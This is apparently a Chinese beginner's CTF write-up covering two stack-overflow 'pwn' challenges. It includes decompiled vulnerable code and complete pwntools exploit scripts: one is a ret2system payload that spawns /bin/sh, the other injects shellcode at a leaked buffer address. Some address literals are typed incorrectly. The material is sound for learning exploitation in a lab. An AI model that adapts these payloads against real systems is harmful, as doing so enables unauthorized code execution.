pwn——20180831

Get a shell , come on !

题目1:https://pan.baidu.com/s/1dTE2MxfBvVYTS0MhJwj_vw
提取码:7wbc

工具:gdb

题解:
1、首先file stack_3一下,32位的,gdb ./stack_3一下,run一下,输入即报错。
用ida打开,点进main函数,f5编译一下,读一下吧。
2、

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+10h] [ebp-10h]

  memset(&s, 0, 16);//memset用于清空数组
  puts("Input something...!");
  read(0, &s, 64);//从文件中读取数据
  return 0;
}

读代码得:read函数可以从标准输入那读取64个字符到缓冲区s, 然而缓冲区s的大小是16, 所以有栈溢出。
3、点开system函数看,竟然是“echo how to do?”,我们想要执行“bin/sh”来获得权限,找一下吧,shift+f12找到了“bin/sh”所在地址,好的,因为要回主函数,所以找到system_plt ,哦还要找个临界值28,好了开始写脚本吧。

from pwn import *

system_plt=0x0804837
binsh_addr=0804A02C

p=process('./stack_3')
p.recvuntil("Input something...!")
payload='a'*28 + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

跑一下,哇,获得权限了。
pwn——20180831_第1张图片

知识点
1、读懂伪代码(memset,read),找得到溢出值,system_plt和binsh_addr。
2、写python脚本。
3、要懂栈溢出
(qwq,不知道为什么知识点仅写了这么点,我可是刚碰pwn啊,不应该很多吗)

题目2:https://pan.baidu.com/s/10aTSCCZ_WrxxTwsnzYXFTg
提取码:volv

题解:
1、checksec看保护机制,ida静态分析,确定缓冲区到返回地址的距离。
2、找不到“bin/sh”(shift+f12或在system中找)怎么办。执行shellcode来得到一个shell.
3、怎么执行shellcode?把shellcode放到栈上,把返回地址覆盖为shellcode。
4、shellcode怎么放到栈上,放在哪里,地址呢?题中已经泄露了缓冲区buf的地址,把shellcode放到buf中吧。
(他给的地址不能用,因为随机地址保护机制是打开的,所以要在执行的时候获得地址)
那么脚本如下:

from pwn import *

p=process('./stack_2')

data=p.recvuntil("?\n")
shellcode_addr=int(data[22:32],16)
#获取地址
shellcode=asm(shellcraft.i386.linux.sh(),arch='i386')
#构造shellcode
payload=shellcode + 'a'*(76-len(shellcode)) + p32(shellcode_addr)
""“
构造payload
"""

p.sendline(payload)
p.interactive()

pwn——20180831_第2张图片

知识点:
1、利用pwntools构造shellcode
2、如何获取buf地址

你可能感兴趣的:(pwn)